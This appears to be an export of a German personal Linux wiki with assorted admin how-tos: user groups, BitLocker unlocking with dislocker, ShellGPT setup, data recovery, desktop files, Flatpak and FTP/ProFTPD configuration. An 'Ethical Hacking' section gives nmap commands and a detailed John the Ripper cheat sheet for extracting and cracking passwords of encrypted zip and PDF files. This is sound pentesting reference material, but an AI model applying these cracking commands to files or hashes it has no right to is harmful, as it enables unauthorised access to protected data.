    	if [ $choice -eq 3 ] ; then 
        	echo "You have chosen: Awesome"
        else
        	echo "Pleas make a choise between 1 to 3"
            echo "1. Tails" 
			echo "2. Is"
			echo "3. Awesome"
			echo -n "Please choose an option (1, 2, or 3) " 
            choice=4 
        fi
    fi
fi    
done
```

# Benutzer und Gruppen in Linux

Benutzer ganz einfach über Desktop anlegen

## Gruppen

```
sudo su
groupadd family
usermod -aG family ernie
usermod -aG family bert
usermod -ag family tiffy
mkdir /home/family
chown ernie:family /home/family
chmod u=rwx,g=rwxs,o=/home/family # Das s bei den Gruppenberechtigungen setzt alle neuen Dateien und Ordner auf berechtigung s = SGID (Set-Group-ID-Bit)
```

Alle Gruppen anzeigen

```
cat /etc/group
```

# Bitlocker to Go

USB-Stick mit Bitlocker verschlüsselt auf einem Linux Rechner entsperren

1. **Installiere Dislocker**:
    
    ```
    sudo apt-get install dislocker
    
    ```
2. **Erstelle zwei Verzeichnisse**:
    
    ```
    sudo mkdir /media/bitlocker
    sudo mkdir /media/mount
    
    ```
3. **Entsperre den USB-Stick**:
    
    ```
    sudo dislocker -r -V /dev/sdX1 -u -- /media/bitlocker
    
    ```
    
    Ersetze `/dev/sdX1` durch die entsprechende Gerätebezeichnung deines USB-Sticks und `-u` durch dein BitLocker-Passwort.
4. **Mounten des entschlüsselten Laufwerks**:
    
    ```
    sudo mount -o loop /media/bitlocker/dislocker-file /media/mount
    
    ```
5. **Zugriff auf die Dateien**: Jetzt kannst du auf die Dateien im Verzeichnis `/media/mount` zugreifen.
6. **Unmounten und Entfernen des USB-Sticks**:
    
    ```
    sudo umount /media/mount
    sudo umount /media/bitlocker
    ```

# Chat-GPT in der Konsole

## ShellGPT installieren

```bash
# wenn Python nicht installiert ist 
sudo apt install python3
sudo apt install python3-pip
sudo apt install python3-venv

# Ordner für Shellgpt anlegen
mkdir shellgpt
cd shellgpt

# Virtuelle umgebung für Shellgpt
python3 -m venv shellgpt 

# Starten mit 
source shellgpt/bin/activate

# API Key von OPENAI eintragen
export OPENAI_API_KEY=*schlüssel*

pip3 install shell-gpt
```

Damit der Schlüssel dauerhauft gespeiert ist, muss dieser in die ~/.bashrc datei eingetragen werden

```
nano ~/.bashrc
```

Ganz unten hinzufügen

```
export OPENAI_API_KEY=*schlüssel*
```

# Datenrettung

Um versehentlich gelöschte Bilder auf einem USB-Stick unter Linux wiederherzustellen, können Sie das Kommandozeilen-Tool

"TestDisk" verwenden. Hier sind die Schritte:

<p class="callout info">Das Programm ist auf Kali Linux bereits installiert. </p>

1. Installieren Sie TestDisk:

<div class="bg-black mb-4 rounded-md" id="bkmrk-sudo-apt-get-update-"><div class="p-4 overflow-y-auto">`sudo apt<span class="hljs-operator">-</span><span class="hljs-keyword">get</span> <span class="hljs-keyword">update</span>sudo apt<span class="hljs-operator">-</span><span class="hljs-keyword">get</span> install testdisk`</div></div>2. Starten Sie TestDisk und wählen Sie den betroffenen USB-Stick aus:

<div class="bg-black mb-4 rounded-md" id="bkmrk-sudo-testdisk"><div class="p-4 overflow-y-auto">`sudo testdisk`</div></div>3. Wählen Sie im Menü "Create" und drücken Sie "Enter".
4. Wählen Sie die Partitionstyp und drücken Sie "Enter".
5. Wählen Sie "Analyse" und drücken Sie "Enter", um die Partitionen zu scannen.
6. Wählen Sie die betroffene Partition und drücken Sie "Enter".
7. Wählen Sie "Quick Search" und drücken Sie "Enter".
8. Überprüfen Sie, ob die gelöschten Bilder aufgelistet sind und wählen Sie sie aus.
9. Wählen Sie "Save" und geben Sie den Speicherort an, wo die wiederhergestellten Bilder gespeichert werden sollen.
10. Drücken Sie "Enter", um die Wiederherstellung abzuschließen.

Bitte beachten Sie, dass dies keine Garantie für die vollständige Wiederherstellung der Daten gibt und je nach Schäden am USB-Stick kann es notwendig sein, andere Wiederherstellungstools zu verwenden.

Eine weiter Möglichkeit wäre

```
sudo apt-get update
sudo apt-get install testdisk
sudo photorec
```

## Ddrescue

[Festplatten in Linux finden](https://wiki.hhml.selfhost.co/books/linux/page/festplatten-in-linux "Festplatten in Linux")

Programm ddrescue stellt Dateien wieder her

```
ddrescue -n [Quelle] [Ziel]
```

Beispiel: `sudo ddrescue -n /dev/sdb1 /home/sla/sicherung`

Der Schalter "-n" sichert zunächst alle Dateien, die noch einwandfrei lesbar sind. Im zweiten schritt führen Sie das Programm erneut aus, diesmal ohne diesen Schalter. Jetzt versucht die Software, auch Daten aus defekten Blöcken der Platte zu retten.

## Extundelete

Um gelöschte Dateien wieder herzustellen gibt es das Programm Extundelet. Um Zeitsparend alle gelöschten Dateien wiederherzustellen, verwenden Sie dieses Kommando:

```
extundelete /dev/sda4 --restore-all
```

# deb installieren

man kann deb Dateien mit dem Befehl

```
dpkg -i Nessus.deb
```

installieren

# Desktop Verknüpfung Linux

In einem [Gnome Desktop](#bkmrk-gnome-desktop)

Um in Debian eine Desktop-Verknüpfung zu erstellen, die ein Skript startet, folge diesen Schritten:

1. Skript erstellen und ausführbar machen:  
    \- Stelle sicher, dass dein Skript im Verzeichnis /home/deinBenutzername/ oder einem anderen leicht zugänglichen Ort gespeichert ist.
2. Setze die Ausführungsrechte für das Skript ```bash
    chmod +x /pfad/zu/deinem/skript.sh
    ```
3. Desktop-Verknüpfung erstellen:  
       
     - Öffne einen Texteditor (z.B. nano, gedit) und erstelle eine neue Datei mit der Endung .desktop im Ordner ~/Desktop (oder wo immer du die Verknüpfung haben möchtest).

```bash
nano ~/Desktop/deinSkriptName.desktop
```

  
\- Füge den folgenden Inhalt in die Datei ein (passe die Felder entsprechend an):

```ini
[Desktop Entry]
Type=Application
Name=Dein Skript Name
Comment=Ein kurzer Kommentar über das Skript
Exec=/pfad/zu/deinem/skript.sh
Icon=/pfad/zu/deinem/icon.png  # Optional, wenn du ein Icon hast
Terminal=false  # Setze dies auf true, wenn das Skript eine Konsole benötigt
Categories=Utility;  # Kategorien für das Menü
```

  
   
\- Hier ist eine kurze Erklärung zu den Feldern:  
   
\- Type=Application: Gibt an, dass es sich um eine Anwendung handelt.  
   
\- Name: Der angezeigte Name der Verknüpfung.  
   
\- Comment: Ein kurzer Kommentar/Beschreibung.  
   
\- Exec: Der Pfad zu deinem Skript.  
   
\- Icon: Optional, Pfad zu einem Icon.  
   
\- Terminal: Wenn true, wird das Skript in einem Terminal ausgeführt.  
   
\- Categories: In welche Kategorien das Menüelement eingegliedert werden soll.  
   
3\. Verknüpfung speichern und ausführbar machen:  
   
\- Speichere die Datei und schließe den Editor.  
   
\- Mach die .desktop-Datei ausführbar:  
   
   
   
 bash  
   
 ```bash  
 chmod +x ~/Desktop/deinSkriptName.desktop  
 ```  
   
4\. Überprüfen:  
   
\- Du solltest nun eine Verknüpfung auf deinem Desktop sehen. Klicke darauf, um das Skript zu starten. Wenn das Skript ein Terminal benötigt, stelle sicher, dass Terminal=true gesetzt ist.

Hinweis: Manchmal kann es sein, dass .desktop-Dateien nicht direkt ausgeführt werden können, wenn sie nicht von einem vertrauenswürdigen Ort kommen. In diesem Fall könntest du die Datei in /usr/share/applications oder ~/.local/share/applications speichern und dann von dort aus aufrufen.

Dieser Ansatz sollte dir helfen, in Debian eine Desktop-Verknüpfung für dein Skript zu erstellen.

## Gnome Desktop

Desktop-Datei erstellen: Erstelle eine .desktop-Datei im Verzeichnis   
 ~/.local/share/applications/. Beispiel:

```
nano ~/.local/share/applications/meineapp.desktop
```

Inhalt der .desktop-Datei:

```
[Desktop Entry]
Name=MeineApp
Exec=/pfad/zur/appimage
Icon=/pfad/zum/icon.png
Type=Application
Categories=Utility;
```

Speichern und schließen: Speichere die Datei und schließe den Editor.

Aktualisieren: Führe `update-desktop-database` `~/.local/share/applications/` aus, um die Änderungen zu aktualisieren.

In Debian erstellen Sie einen Startmenü-Eintrag durch Anlegen einer .desktop-Datei im Verzeichnis ~/.local/share/applications für benutzerspezifische Einträge oder /usr/share/applications für systemweite.<span class="inline-flex" data-state="closed">​</span>

## Erstellen der Datei

Öffnen Sie einen Texteditor wie nano und erstellen Sie eine Datei, z. B. `nano ~/.local/share/applications/meineapp.desktop`. Fügen Sie diesen Inhalt ein und passen Sie Pfade sowie Namen an:

```
[Desktop Entry] 
Type=Application 
Name=Meine App 
Comment=Beschreibung der App 
Exec=/pfad/zu/der/anwendung 
Icon=/pfad/zum/icon.png 
Categories=Utility; 
Terminal=false
```

<div class="w-full md:max-w-[90vw]" id="bkmrk-text-%5Bdesktop-entry%5D"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded-lg font-mono text-sm font-normal bg-subtler"><div class="-mt-xl">  
</div></div></div>Speichern Sie die Datei und machen Sie sie ausführbar mit `chmod +x ~/.local/share/applications/meineapp.desktop`.<span class="inline-flex" data-state="closed">​</span>

## Ordner und Kategorien

- **Benutzerlokal**: ~/.local/share/applications – priorisiert für Ihren Benutzer, erscheint sofort im Menü.<span class="inline-flex" data-state="closed">​</span>
- **Systemweit**: /usr/share/applications – erfordert sudo-Rechte, z. B. `sudo nano /usr/share/applications/meineapp.desktop`.<span aria-label="Programmstarter (Desktop-Dateien) erzeugen - decocode" class="inline-flex" data-state="closed">​</span>  
    Kategorien wie Utility, Office oder Network sortieren den Eintrag in Menü-Rubriken; siehe freedesktop.org für die vollständige Liste.<span class="inline-flex" data-state="closed">​</span>

## Aktualisieren des Menüs

Das Menü lädt die Datei automatisch nach. Bei GNOME oder ähnlichen Umgebungen drücken Sie Alt+F2, geben `r` ein und Enter, um den Desktop-Shell neu zu laden. Installieren Sie ggf. `menulibre` mit `sudo apt install menulibre` für einen grafischen Editor

# Ethical Hacking mit Python und Kali Linux

Kali Linux ist DAS Hacker Linux mit allen nötigen Tools um einen vernünftigen Pentest zu machen. Know your Enemy

[Heise Security Tips](https://www.heise.de/select/ct-wissen/2021/11/softlinks/wn7d?wt_mc=pred.red.ct.sh_wissen112021.106.softlink.softlink)

## Nmap

nmap -O ip-adresse # gibt unter anderem das Betriebssystem wieder  
nmap -sV ip-adresse # gibt Versionen wieder

### Subdomains finden

Subfinder findet alles

docker pull projectdiscovery/subfinder  
docker run projectdiscovery/subfinder -d example.com

## Metasploit

## Burpsuite

## Netcat

## Social-Engineering Toolkit

[Link Simulating Basic Attack](https://www.youtube.com/watch?v=gKykLr59LW8)

## Nikto

Scanning von Websiten

## John the ripper

[Download](https://www.openwall.com/john/)

### Filtermasken erstellen

[Filtermasken](https://github.com/openwall/john/blob/bleeding-jumbo/doc/MASK)

Zun‰chst muss man aus einer Datei, die mit einem Passwort gesch¸tzt ist, den Hashwert herausbekommen. Das funktioniert mit

`zip2john verschluesselt.zip > hast.txt` f¸r ein Zip File

`pdf2john verschluesselt.pdf > hast.txt` sollte eigentlich das Passwort einer Zip-Datei herausfinden

Danach wird der Hashwert mit **John the Ripper** gekrackt:

`john hash.txt`

### pdf2john funktionert nicht

```
git clone "https://github.com/magnumripper/JohnTheRipper.git" && cd JohnTheRipper/src && ./configure && sudo make -s clean && sudo make -sj4

```

### John Maske

für nur buchstaben und Zahlen

`--mask=[A-Za-z0-9] --max-length=6`

### Cheatsheet

oder als PDF [jtr-cheat-sheet.pdf](https://books.hhml.selfhost.co/attachments/1)

### John Resources

<div class="page-content" id="bkmrk-john-jumbo-dev-relea"><div class="page-content"><div dir="auto">- [John jumbo dev release](https://github.com/openwall/john-packages/releases/tag/jumbo-dev)
- [John binaries](https://download.openwall.net/pub/projects/john/contrib/)
- [John docs](https://nrupentheking.blogspot.com/search/label/Password%20Cracker)
- [John docs](https://reusablesec.blogspot.com/)
- [Password Analysis and Cracking Kit](https://thesprawl.org/projects/pack/)
- [Mangling Rules Generation](http://www.openwall.com/presentations/Passwords12-Mangling-Rules-Generation/)

</div></div></div>### John Installation

[Genau Beschreibung der Installation](https://books.hhml.selfhost.co/books/linux/page/john-the-ripper-installieren "John the Ripper installieren")

<div class="page-content" id="bkmrk-"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--1"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="git%20clone%20https://github.com/openwall/john%20-b%20bleeding-jumbo%20/data/tools/john%20;%20cd%20/data/tools/john/src/%20;%20./configure%20&&%20make%20-s%20clean%20&&%20make%20-sj4%20;%20cd%20~" type="button"></button>  
</div></div></div></div></div></div>```
git clone https://github.com/openwall/john -b bleeding-jumbo /data/tools/john ; cd /data/tools/john/src/ ; ./configure && make -s clean && make -sj4 ; cd ~

```

#### John Modes

<div class="page-content" id="bkmrk-wordlist-mode-%28dicti"><div class="page-content"><div dir="auto">- Wordlist mode (dictionary attack) - `john --wordlist=<wordlist> <hash>`
- Mangling rules mode - `john --wordlist=<wordlist> --rules:<rulename> <hash>`
- Incremental mode - `john --incremental <hash>`
- External mode - `john --external:<rulename> <hash>`
- Loopback mode (use .pot files) - `john --loopback <hash>`
- Mask mode - `john --mask=?1?1?1?1?1?1?1?1 -1=[A-Z] -min-len=8 <hash>`
- Markov mode - `calc_stat <wordlist> markovstats` `john -markov:200 -max-len:12 --mkv-stats=markovstats <hash>`
- Prince mode - `john --prince=<wordlist> <hash>`

</div></div></div>Refer the [link](https://4n3i5v74.github.io/posts/tryhackme-john-the-ripper/) for more examples.

#### CPU and GPU options

<div class="page-content" id="bkmrk-list-opencl-devices-"><div class="page-content"><div dir="auto">- List opencl devices - `john --list=opencl-devices`
- List formats supported by opencl - `john --list=formats --format=opencl`
- Use multiple CPU - `john hashes --wordlist:<wordlist> --rules:<rulename> --dev=2 --fork=4`
- Use multiple GPU - `john hashes --format:<openclformat> --wordlist:<wordlist> --rules:<rulename> --dev=0,1 --fork=2`

</div></div></div>#### Rules

<div class="page-content" id="bkmrk-single-wordlist-extr"><div class="page-content"><div dir="auto">- Single
- wordlist
- Extra
- Jumbo (Single, wordlist and Extra)
- KoreLogic
- All (Single, wordlist, Extra and KoreLogic)

</div></div></div>#### Incremental modes

<div class="page-content" id="bkmrk-lower-%2826-char%29-alph"><div class="page-content"><div dir="auto">- Lower (26 char)
- Alpha (52 char)
- Digits (10 char)
- Alnum (62 char)

</div></div></div>#### New rule

<div class="page-content" id="bkmrk--2"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--0"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="[List.Rules:Tryout]%0Al%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20[convert%20to%20lowercase]%0Au%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20[convert%20to%20uppercase]%0Ac%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20[capitalize]%0Al%20r%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20[lowercase%20and%20reverse%20(palindrome)]%0Al%20Az%222015%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20[lowercase%20and%20append%20%222015%22%20at%20end%20of%20word]%0Al%20A0%222015%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20[lowercase%20and%20prepend%20%222015%22%20at%20end%20of%20word]%0Ad%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20[duplicate]%0AA0%22#%22Az%22#%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20[append%20and%20prepend%20%22#%22]" type="button"></button>  
</div></div></div></div></div></div>```
[List.Rules:Tryout]
l                       [convert to lowercase]
u                       [convert to uppercase]
c                       [capitalize]
l r                     [lowercase and reverse (palindrome)]
l Az"2015"              [lowercase and append "2015" at end of word]
l A0"2015"              [lowercase and prepend "2015" at end of word]
d                       [duplicate]
A0"#"Az"#"              [append and prepend "#"]

```

<div class="page-content" id="bkmrk-display-password-can"><div class="page-content"><div dir="auto">- Display password candidates - `john --wordlist=<wordlist> --stdout --rules:Tryout`
- Generate password candidates - `john --wordlist=<wordlist> --stdout=8 --rules:Tryout`

</div></div></div>#### Other rules

<div class="page-content" id="bkmrk--3"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--4"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="C%20%20%20%20%20[lowercase%20first%20char,%20uppercase%20rest]%0At%20%20%20%20%20[toggle%20case%20of%20all%20chars]%0ATN%20%20%20%20[toggle%20case%20of%20char%20in%20position%20N]%0Ar%20%20%20%20%20[reverse%20word%20-%20test123%20-%3E%20321tset]%0Ad%20%20%20%20%20[duplicate%20word%20-%20test123%20-%3E%20test123test123]%0Af%20%20%20%20%20[reflect%20word%20-%20test123%20-%3E%20test123321tset]%0A%7B%20%20%20%20%20[rotate%20word%20left%20-%20test123%20-%3E%20est123t]%0A%7D%20%20%20%20%20[rotate%20word%20right%20-%20test123%20-%3E%203test12]%0A$X%20%20%20%20[append%20word%20with%20X]%0A%5EX%20%20%20%20[prefix%20word%20with%20X]%0A[%20%20%20%20%20[remove%20first%20char]%0A]%20%20%20%20%20[remove%20last%20char]%0ADN%20%20%20%20[delete%20char%20in%20posision%20N]%0AxNM%20%20%20[extract%20from%20position%20N%20till%20M%20chars]%0AiNX%20%20%20[insert%20X%20in%20place%20of%20N%20and%20shift%20rest%20right]%0AoNX%20%20%20[overwrite%20N%20with%20X]%0AS%20%20%20%20%20[shift%20case%20-%20test123%20-%3E%20TEST!@#]%0AV%20%20%20%20%20[lowercase%20vowels,%20uppercase%20consonents%20-%20test123%20-%3E%20TeST123]%0AR%20%20%20%20%20[shift%20each%20char%20right,%20using%20keyboard%20key%20-%20test123%20-%3E%20yrdy234]%0AL%20%20%20%20%20[shift%20each%20char%20left,%20using%20keyboard%20key%20-%20test123%20-%3E%20rwar012]%0A%3CN%20%20%20%20[reject%20words%20unless%20less%20than%20length%20N]%0A%3EN%20%20%20%20[reject%20words%20unless%20greater%20than%20length%20N]%0AN%20%20%20%20%20[truncate%20to%20length%20N]" type="button"></button>  
</div></div></div></div></div></div>```
C     [lowercase first char, uppercase rest]
t     [toggle case of all chars]
TN    [toggle case of char in position N]
r     [reverse word - test123 -> 321tset]
d     [duplicate word - test123 -> test123test123]
f     [reflect word - test123 -> test123321tset]
{     [rotate word left - test123 -> est123t]
}     [rotate word right - test123 -> 3test12]
$X    [append word with X]
^X    [prefix word with X]
[     [remove first char]
]     [remove last char]
DN    [delete char in posision N]
xNM   [extract from position N till M chars]
iNX   [insert X in place of N and shift rest right]
oNX   [overwrite N with X]
S     [shift case - test123 -> TEST!@#]
V     [lowercase vowels, uppercase consonents - test123 -> TeST123]
R     [shift each char right, using keyboard key - test123 -> yrdy234]
L     [shift each char left, using keyboard key - test123 -> rwar012]
<N    [reject words unless less than length N]
>N    [reject words unless greater than length N]
N     [truncate to length N]

```

#### New charset

<div class="page-content" id="bkmrk--5"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--6"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="john%20--make-charset=set.char" type="button"></button>  
</div></div></div></div></div></div>```
john --make-charset=set.char

```

Create `john.conf` with character set config.

<div class="page-content" id="bkmrk--7"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--8"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="#%20Incremental%20modes%0A[Incremental:charset]%0AFile%20=%20$JOHN/set.char%0AMinLen%20=%200%0AMaxLen%20=%2030%0ACharCount%20=%2080" type="button"></button>  
</div></div></div></div></div></div>```
# Incremental modes
[Incremental:charset]
File = $JOHN/set.char
MinLen = 0
MaxLen = 30
CharCount = 80

```

<div class="page-content" id="bkmrk--9"><div class="page-content"><div class="page-content"><div dir="auto"><div class="code-header" id="bkmrk--10"><div class="copy-code-container"><button aria-label="Copy code block to your clipboard" class="copy-code-button" data-code="john%20--incremental=charset%20%3Chash%3E" type="button"></button>  
</div></div></div></div></div></div>```
john --incremental=charset <hash>

```

#### Wordlists

<div class="page-content" id="bkmrk-sort-wordlist--%C2%A0tr-a"><div class="page-content"><div dir="auto">- Sort wordlist - `tr A-Z a-z < <wordlist> | sort -u > <new-wordlist>`
- Generate wordlist using POT - `cut -d: -f2 john.pot | sort -u > pot.dict`
- Generate candidate pwd for slow hash - `john --wordlist=<wordlist> --stdout --rules:Jumbo | unique -mem=25 <unique-wordlist>`

</div></div></div>#### External mode

<div class="page-content" id="bkmrk-create-complex-passw"><div class="page-content"><div dir="auto">- Create complex password list - [link](http://www.lanmaster53.com/2011/02/creating-complex-password-lists-with-john-the-ripper/)
- Generate wordlist according to complexity filter - `./john --wordlist=<wordlist> --stdout --external:<filter> > <filtered-wordlist>`
- Use adjacent keys on `keyboard` - `john --external:Keyboard <hash>`

</div></div></div>#### Misc Options

<div class="page-content" id="bkmrk-hidden-options--%C2%A0joh"><div class="page-content"><div dir="auto">- Hidden options - `john --list=hidden-options`
- Display guesses - `john --incremental:Alpha -stdout -session=s1`
- Generate guesses with external programs - `crunch 1 6 abcdefg | ./john hashes -stdin -session=s1`
- Save session - `john hashes -session=name`
- Restore session - `john --restore:name`
- Show cracked passwords - `john hashes --pot=<pot> --show`

</div></div></div>#### Dictionaries

<div class="page-content" id="bkmrk-generate-wordlist-fr"><div class="page-content"><div dir="auto">- Generate wordlist from wikipedia - `wget https://raw.githubusercontent.com/zombiesam/wikigen/master/wwg.py ; python wwg.py -u http://pt.wikipedia.org/wiki/Fernando_Pessoa -t 5 -o fernandopessoa -m3`
- Aspell dictionary - `apt-get install aspell-es` `aspell dump dicts` `aspell -d es dump master | aspell -l es expand | awk 1 RS=" |\n" > aspell.dic`

</div></div></div><div class="page-content" id="bkmrk-version-%233-erstellt%3A"><div dir="auto">  
</div>---

<div class="text-muted text-small"><div class="entity-meta"><svg class="svg-icon" data-icon="history" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Version #3   
<svg class="svg-icon" data-icon="star" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Erstellt: 19 October 2022 10:52:19 von Herr_admin   
<svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Zuletzt aktualisiert: 19 October 2022 11:18:20 von hermann</div></div></div>

# Flatpak installieren

```
sudo apt install flatpak 
```

```
sudo flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo
```

# Flatpak rechte Erweiterung

Um mit Cryptomator auf den USB-Stick in Fedora zugreifen zu können wird es benötigt die Rechte zu erweitern. Dazu folgenden Befehl eingeben:

```bash
flatpak override --user [APP_NAME] --filesystem=/run/media/user
```

Den Namen der App kann man herausfinden mit

```
flatpak list 
```

# FTP Im Terminal verwenden

<p class="callout info">Zum Austausch von Dateien zwischen FTP Server und Linux Rechner im Terminal </p>

<p class="callout info">[FTP Server auf Linux installieren ](https://books.hhml.selfhost.co/books/linux/page/ftp-server-installieren-fur-paperless "FTP-Server Installieren für Paperless")</p>

In this tutorial, I will explain how to use the Linux ftp command on the shell. I will show you how to connect to an FTP server, up- and download files and create directories. While there are many nice desktops FTP clients available, the FTP command is still useful when you work remotely on a server over an SSH session and e.g. want to fetch a backup file from your FTP storage.<span class="ezoic-adpicker-ad" id="bkmrk--7"></span>

## FTP

### Step 1: Establishing an FTP connection

To connect to the FTP server, we have to type in the terminal window 'ftp' and then the domain name 'domain.com' or IP address of the FTP server.<span class="ezoic-adpicker-ad" id="bkmrk--8"></span>

<div class="page-content" id="bkmrk-"><div class="page-content"><div dir="auto"><div id="bkmrk--1">  
</div></div></div></div>**Examples:**

```
ftp domain.com
```

```
ftp 192.168.0.1
```

```
ftp user@ftpdomain.com
```

Note: for this example we used an anonymous server.

Replace the IP and domain in the above examples with the IP address or domain of your FTP server.[](https://www.howtoforge.com/images/how-to-use-ftp-in-the-linux-shell/big/ftpanonymous.png)  
<span class="ezoic-adpicker-ad" id="bkmrk--10"></span>

### Step 2: Login with User and Password

Most FTP servers logins are password protected, so the server will ask us for a 'username' and a 'password'.

If you connect to a so-called anonymous FTP server, then try to use "anonymous" as username and an empty password:

```
Name: anonymous
```

```
Password:
```

The terminal will return a message like this:

```
230 Login successful.<br></br>Remote system type is UNIX.<br></br>Using binary mode to transfer files.<br></br>ftp>
```

When you are logged in successfully. <span class="ezoic-adpicker-ad" id="bkmrk--11"></span>

  
[![Successful FTP login.](https://www.howtoforge.com/images/how-to-use-ftp-in-the-linux-shell/login.png?ezimgfmt=rs:249x322/rscb5/ng:webp/ngcb5)](https://www.howtoforge.com/images/how-to-use-ftp-in-the-linux-shell/big/login.png)

### Step 3: Working with Directories

The commands to list, move and create folders on an FTP server are almost the same as we would use the shell locally on our computer, ls stands for list, cd to change directories, mkdir to create directories...

#### Listing directories with security settings:

```
ftp> ls
```

The server will return:

[](https://www.howtoforge.com/images/how-to-use-ftp-in-the-linux-shell/big/listing.png)

#### Changing Directories:

To change the directory we can type:<span class="ezoic-adpicker-ad" id="bkmrk--14"></span>

```
ftp> cd directory
```

The server will return:

### Step 4: Downloading files with FTP

<p class="callout info">Before downloading a file, we should set the local FTP file download directory by using 'lcd' command:</p>

```
lcd /home/user/yourdirectoryname
```

If you dont specify the download directory, the file will be downloaded to the current directory where you were at the time you started the FTP session.

Now, we can use the command 'get' command to download a file, the usage is:<span class="ezoic-adpicker-ad" id="bkmrk--16"></span>

```
get file
```

  
The file will be downloaded to the directory previously set with the 'lcd' command.

The server will return the next message:

[](https://www.howtoforge.com/images/how-to-use-ftp-in-the-linux-shell/big/gettingfile.png)

To download several files we can use wildcards. In this example, I will download all files with the .xls file extension.

```
mget *.xls
```

<span class="ezoic-adpicker-ad" id="bkmrk--18"></span>

### Step 5: Uploading Files with FTP

  
We can upload files that are in the local directory where we made the FTP connection.  
  
To upload a file, we can use 'put' command.

```
put file
```

When the file that you want to upload is not in the local directory, you can use the absolute path starting with "/" as well:

```
put /path/file
```

To upload several files we can use the mput command similar to the mget example from above:

```
mput *.xls
```

### Step 6: Closing the FTP connection

Once we have done the FTP work, we should close the connection for security reasons. There are three commands that we can use to close the connection:

```
bye
```

```
exit
```

```
quit
```

 Any of them will disconnect our PC from the FTP server and will return:

```
221 Goodbye
```

## SFTP

Sicheres Übertragen

### Verbindung herstellen

```
sftp user@10.1.1.10
```

#### Ordner übertragen 

```
# Hochladen

put -r Ordnername

# herunterladen

get -r Ordnername 
```

# FTP Server installieren für Paperless

Kann aber auch für andere Sachen verwendet werden

```
#### Paperless NGX - Nextcloud - Scanner Workflow ####

## FTP-Server installieren ##
apt-get install proftpd

## config bearbeitren ##
mv /etc/proftpd/proftpd.conf /etc/proftpd/proftpd.conf.old

nano /etc/proftpd/proftpd.conf


######################################### paste ######################################


# /etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file.
# To really apply changes, reload proftpd after modifications, if
# it runs in daemon mode. It is not required in inetd/xinetd mode.
#

# Includes DSO modules
Include /etc/proftpd/modules.conf

# Set off to disable IPv6 support which is annoying on IPv4 only boxes.
#UseIPv6                         on
# If set on you can experience a longer connection delay in many cases.
#IdentLookups                    off

ServerName                      "myserver.com"
# Set to inetd only if you would run proftpd by inetd/xinetd.
# Read README.Debian for more information on proper configuration.
ServerType                              standalone
DeferWelcome                    off
MultilineRFC2228                on
DefaultServer                   on
ShowSymlinks                    on
TimeoutNoTransfer               600
TimeoutStalled                  600
TimeoutIdle                     1200
DisplayLogin                    welcome.msg
DisplayChdir                    .message true
ListOptions                     "-l"

DenyFilter                      \*.*/

# Use this to jail all users in their homes
 DefaultRoot                   ~

# Users require a valid shell listed in /etc/shells to login.
# Use this directive to release that constrain.
# RequireValidShell             off

# Port 21 is the standard FTP port.
Port                            21

# In some cases you have to specify passive ports range to by-pass
# firewall limitations. Ephemeral ports can be used for that, but
# feel free to use a more narrow range.
# PassivePorts                  49152 65534

# If your host was NATted, this option is useful in order to
# allow passive tranfers to work. You have to use your public
# address and opening the passive ports used on your firewall as well.
# MasqueradeAddress             1.2.3.4

# This is useful for masquerading address with dynamic IPs:
# refresh any configured MasqueradeAddress directives every 8 hours

# DynMasqRefresh 28800

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd)
MaxInstances                    30

# Set the user and group that the server normally runs at.
User                            proftpd
Group                           nogroup

# Umask 022 is a good standard umask to prevent new files and dirs
# (second parm) from being group and world writable.
Umask                           022  022
# Normally, we want files to be overwriteable.
AllowOverwrite                  on

# Uncomment this if you are using NIS or LDAP via NSS to retrieve passwords:
# PersistentPasswd              off

# This is required to use both PAM-based authentication and local passwords
# AuthOrder                     mod_auth_pam.c* mod_auth_unix.c

# Be warned: use of this directive impacts CPU average load!
# Uncomment this if you like to see progress and transfer rate with ftpwho
# in downloads. That is not needed for uploads rates.
#
# UseSendFile                   off

TransferLog /var/log/proftpd/xferlog
SystemLog   /var/log/proftpd/proftpd.log

# Logging onto /var/log/lastlog is enabled but set to off by default
#UseLastlog on

# In order to keep log file dates consistent after chroot, use timezone info
# from /etc/localtime.  If this is not set, and proftpd is configured to
# chroot (e.g. DefaultRoot or ), it will use the non-daylight
# savings timezone regardless of whether DST is in effect.
#SetEnv TZ :/etc/localtime
QuotaEngine off
Ratios off

# Delay engine reduces impact of the so-called Timing Attack described in
# http://www.securityfocus.com/bid/11430/discuss
# It is on by default.

DelayEngine on

ControlsEngine        off
ControlsMaxClients    2
ControlsLog           /var/log/proftpd/controls.log
ControlsInterval      5
ControlsSocket        /var/run/proftpd/proftpd.sock

AdminControlsEngine off

#
